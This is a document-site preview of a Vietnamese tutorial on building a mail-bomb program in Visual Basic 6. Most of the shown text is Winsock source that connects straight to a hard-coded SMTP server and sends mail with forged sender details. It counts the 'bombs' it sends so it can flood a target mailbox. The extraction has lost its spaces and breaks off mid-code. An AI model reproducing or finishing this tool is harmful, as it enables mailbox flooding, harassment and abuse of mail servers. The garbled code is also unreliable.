Danh mục

Làm chương trình bommail bằng VB

Số trang: 9      Loại file: doc      Dung lượng: 34.50 KB      Lượt xem: 19      Lượt tải: 0    
Thư viện của tui

Phí tải xuống: miễn phí Tải xuống file đầy đủ (9 trang) 0
Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

Vào trên thanh Menu Project Componentsđánh dấu chọn vào mục Microsoft WinsockControl 6.0, sao đó nhấn OK thoát ra và kéo nó vào trong frmMain (nó sẽ có tên mặt định làWinsock1, cứ để nó thế nếu bạn muốn đổi tên cho khác một tý thì phần source dưới đây bạn phảiđổi tên các sub Event cho nó nha.)
Nội dung trích xuất từ tài liệu:
Làm chương trình bommail bằng VBLàmchươngtrìnhbommailbằngVBtrangnàyđãđượcđọc lầnPhầnchuẩnbịđầutiêncủachươngtrìnhlà:1.TấtnhiênlàphảimởMicrosoftVisualBasic(tôisửdụngphiênbản6.0)2.TạomộtFormmới(tôiđặttênFormnàylàfrmMain)3.VàotrênthanhMenu>Project>Components>đánhdấuchọnvàomụcMicrosoftWinsockControl6.0,saođónhấnOKthoátravàkéonóvàotrongfrmMain(nósẽcótênmặtđịnhlàWinsock1,cứđểnóthếnếubạnmuốnđổitênchokhácmộttýthìphầnsourcedướiđâybạnphảiđổitêncácsubEventchonónha.)4.Tạomộtnútlệnh(command)vàđặttênnólàcmdBomb.5.TạomộtlabelcótênlàlblStatusthôngbáotrạngtháicủatiếntrình6.nhấnphảingayfrmMainvàophầnViewCodevàbắtđầunhá.Vàđâylàđoạncodecủachươngtrìnhtôisẽcốgắnchúthíchtrướcmỗiđoạncodechocácbạndễnắm.KhaibaobienBienkiemsoatcaulenhgoidiDimstrCaulenhAsStringBiendenhanthongtintuservergoiveDimstrDataAsStringBiendekiemsoatsoluongmaildagoidiDimintbombAsIntegerTaoFunctioncaulenhconnectvaosmtpservervatravechohammotchuoikytudaidiendede bekiemsoat.FunctionclConnect(sckSendAsWinsock,MailServerNameAsString)AsStringKiemtratinhtrangcuasockketneunootrangthaidongthitienhanhketnoiIfsckSend.State=sckClosedThenThietlapProtocolsckSend.Protocol=sckTCPProtocolKhaibaoSMTPserversechovaohamsckSend.RemoteHost=MailServerNameKhaibaoCongketnoithuonglacong25sckSend.RemotePort=25GoicaulenhketnoisckSend.ConnectTravechohamchuoiConnecttophannayratquantrongvidungdekiemtracungvoigiatri doservertravexemketnoidaOKhaychua..bansehieuromucdichcuaphannay.Daychinh lasukhacbietmatoidanghiencuuvasosanhvoicacsourcebombmailtuongtuvatoinhan thaynorathieuquavadongianhonbatcugiaithuatnaokhac.Moihamsaudaydeutravemot chuoithongbaotuongtuclConnect=ConnecttoEndIfEndFunctionTaoFunctiongoicaulenhhelotoiserverbannenluuylamoicuoicaulenhdeucokytudai dienchophimEnter.FunctionclHelo(sckSendAsWinsock,txthelloAsString)AsStringsckSend.SendData(helo+txthello+vbCrLf)clHelo=HeloEndFunctionTaoFunctiongoicaulenhmailfrom:cothembiendiachimailnguoigoiFunctionclMailfrom(sckSendAsWinsock,txtmailfromAsString)AsStringsckSend.SendData(mailfrom:+txtmailfrom+vbCrLf)clMailfrom=MailFromEndFunctionTaoFunctiongoicaulenhrcptto:cothembiendiachimailnguoinhanFunctionclRcptto(sckSendAsWinsock,txtmailtoAsString)AsStringsckSend.SendData(rcptto:+txtmailto+vbCrLf)clRcptto=RcptToEndFunctionTaoFunctiongoicaulenhdatacaulenhbatdaumotnoidungcuabucthuFunctionclData(sckSendAsWinsock)AsStringsckSend.SendData(data+vbCrLf)clData=DataEndFunctionTaofunctiongoinoidungbucthuvacoketthucladauenter+dau.+enterFunctionclBody(sckSendAsWinsock,strFromNameAsString,strToNameAsString,strSubject AsString,strBodyAsString)AsStringkhaibaocacbientamtheothutuDimFourthAsString,FifthAsString,SixthAsStringDimSeventhAsString,EighthAsStringaigoi??Fourth=From:+Chr(32)+strFromName+vbCrLfAinhan??Fifth=To:+Chr(32)+strToName+vbCrLfChudebucthuSixth=Subject:+Chr(32)+strSubject+vbCrLfnoidungbucthuSeventh=strBody+vbCrLfphandautiencuabucthuduocgoitruocEighth=Fourth+Fifth+SixthgoidiphandausckSend.SendData(Eighth+vbCrLf)goitiepnoidungsckSend.SendData(Seventh+vbCrLf)ketthucnoidungvagoithudisckSend.SendData(.+vbCrLf)clBody=BodyEndFunctionTaohamthoatkhoiserverFunctionclQuit(sckSendAsWinsock)AsStringsckSend.SendData(quit+vbCrLf)clQuit=QuitEndFunctionvadaylasukienkhinutlenhcmdBombduocclickPrivateSubcmdbomb_Click()lblStatus.Caption=hienthoichuacomailnaoduocgoiintbomb=0BayloiOnErrorGoTothongbaoloinoivaoSMTPservercoIPodaytoichonla203.162.0.27CacbancungcothethaydoilahostnamehayIPaddressdeuduocca.hoaccothexemchu thich1taicuoibai.strCaulenh=clConnect(Winsock1,203.162.0.27)ExitSubthongbaoloi:lblStatus.Caption=KiemtraketnoicuabanEndSubDaylaphanquantrongnhatcuachuongtrinh,cacbannennamrosaunaycothedungthuat toannaydephattrienkhongchilagoithuquaSMTPservermaconnhanthutuPop3...NhunggiservertrathongbaovesenamodayPrivateSubWinsock1_DataArrival(ByValbytesTotalAsLong)laydulieutuservertraveWinsock1.GetDatastrDatabaoranhanlblStatus.Caption=strDataneu3kytudaucuachuoimaservertravesaukhinhanduoccaulenhconnectcogiatrila220tuclaserverdachapnhanketnoithithuchientiepcaulenhheloIf(strCaulenh=ConnecttoAndLeft(strData,3)=220)ThenxoagiatrichobienstrCaulenh=strData=strCaulenh=clHelo(Winsock1,hotmail.com)EndIfTuongtunhutrenneumoiviecdienratotdepthigoitiepcaulenhmailfrom:mailnguoigoico thexemthemchuthich2cuoibai.If(strCaulenh=HeloAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clMailfrom(Winsock1,mailnguoigoi)EndIfLanluocgoitiepcaccaulenhtieptheovoidieukienchuoikytucuaservertravehoantoanhop leIf(strCaulenh=MailFromAndLeft(strData,3)=250)ThenstrCaulenh=strData=strCaulenh=clRcptto(Winsock1,mailnguoinhan)xemchuthichvuoibaiEndIfIf(strCaulenh=RcptToA ...

Tài liệu được xem nhiều: